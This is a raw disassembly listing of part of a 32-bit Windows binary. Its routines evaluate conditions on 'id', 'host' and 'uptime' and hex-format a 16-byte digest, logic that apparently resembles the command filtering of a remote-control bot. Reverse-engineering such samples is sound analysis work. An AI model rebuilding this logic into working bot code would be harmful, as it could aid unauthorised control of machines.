		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412BC0	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412BC0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C10	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_412C10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412CB0:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43994E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412FD6
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D30 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E35
		xor	edi, edi


loc_412E35:				; CODE XREF: ___:00412E31j
		push	offset asc_443D2C ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E4C
		mov	edi, 1


loc_412E4C:				; CODE XREF: ___:00412E45j
		push	offset asc_443D28 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E63
		mov	edi, 2


loc_412E63:				; CODE XREF: ___:00412E5Cj
		push	offset asc_443D24 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E7A
		mov	edi, 3


loc_412E7A:				; CODE XREF: ___:00412E73j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4
		test	edi, edi
		jnz	short loc_412EAA
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44758A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412ED4
		jmp	short loc_412EC7
; ---------------------------------------------------------------------------


loc_412EAA:				; CODE XREF: ___:00412E8Ej
		cmp	edi, 1
		jnz	short loc_412ED4
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44758A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4


loc_412EC7:				; CODE XREF: ___:00412EA8j
		push	0
		push	esi
		mov	ecx, offset byte_4472A7
		call	sub_401A32


loc_412ED4:				; CODE XREF: ___:00412E8Aj
					; ___:00412EA6j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F27
		test	edi, edi
		jnz	short loc_412F08
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60CD
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: ___:00412EE8j
		cmp	edi, 1
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60CD
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F27:				; CODE XREF: ___:00412EE4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412F5D
		cmp	eax, ebx
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F5D:				; CODE XREF: ___:00412F55j
		cmp	edi, 1
		jnz	short loc_412F68
		cmp	eax, ebx
		jnz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: ___:00412F60j
		cmp	edi, 2
		jnz	short loc_412F73
		cmp	eax, ebx
		jle	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F73:				; CODE XREF: ___:00412F6Bj
		cmp	edi, 3
		jnz	short loc_412F89
		cmp	eax, ebx
		jge	short loc_412F89


loc_412F7C:				; CODE XREF: ___:00412F06j
					; ___:00412F25j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472A7
		call	sub_401A32


loc_412F89:				; CODE XREF: ___:00412F00j
					; ___:00412F0Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: ___:00412CE9j
		mov	al, 1


loc_412FD8:				; CODE XREF: ___:00412FD4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130E0	proc near		; CODE XREF: sub_401654j
		nop
		call	near ptr 27D0802h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4130E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413120	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413120	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_4131F0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413208
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413208:				; CODE XREF: ___:004131FDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413220	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_413220	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4132E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Ch
		push	9
		push	1
		lea	edx, [esp+2Ch]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4133D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413477
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413477


loc_413438:				; CODE XREF: sub_4133D0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41349C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413438


loc_413477:				; CODE XREF: sub_4133D0+2Ej
					; sub_4133D0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41349C:				; CODE XREF: sub_4133D0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413510	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_4135E3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_4135E3


loc_41357F:				; CODE XREF: sub_413510+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4135AC
		mov	edi, [esi]


loc_4135AC:				; CODE XREF: sub_413510+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41360B
		test	esi, esi
		jnz	short loc_41360B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_41357F


loc_4135E3:				; CODE XREF: sub_413510+31j
					; sub_413510+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4135F6:				; CODE XREF: sub_413510+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413510+AAj
					; sub_413510+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4135F6
sub_413510	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413670	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413714
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413714


loc_4136D6:				; CODE XREF: sub_413670+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_413746
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4136D6


loc_413714:				; CODE XREF: sub_413670+2Bj
					; sub_413670+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413746:				; CODE XREF: sub_413670+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_413670	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4137E0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4137E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413913
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F60
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_41387B:				; CODE XREF: sub_4137E0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41387B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41390E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41392C
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: sub_4137E0+10Cj
		call	sub_401226


loc_413913:				; CODE XREF: sub_4137E0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41392C:				; CODE XREF: sub_4137E0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4137E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4139B0	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4139B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413A5E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413A5E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413A5E:				; CODE XREF: sub_4139B0+3Fj
					; sub_4139B0+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_4139B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439B08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413B70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413CB9
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413CB9
		push	esi
		push	edi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413C93
		add	ebp, 54h


loc_413BF0:				; CODE XREF: sub_413B70+11Dj
		push	15h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C10
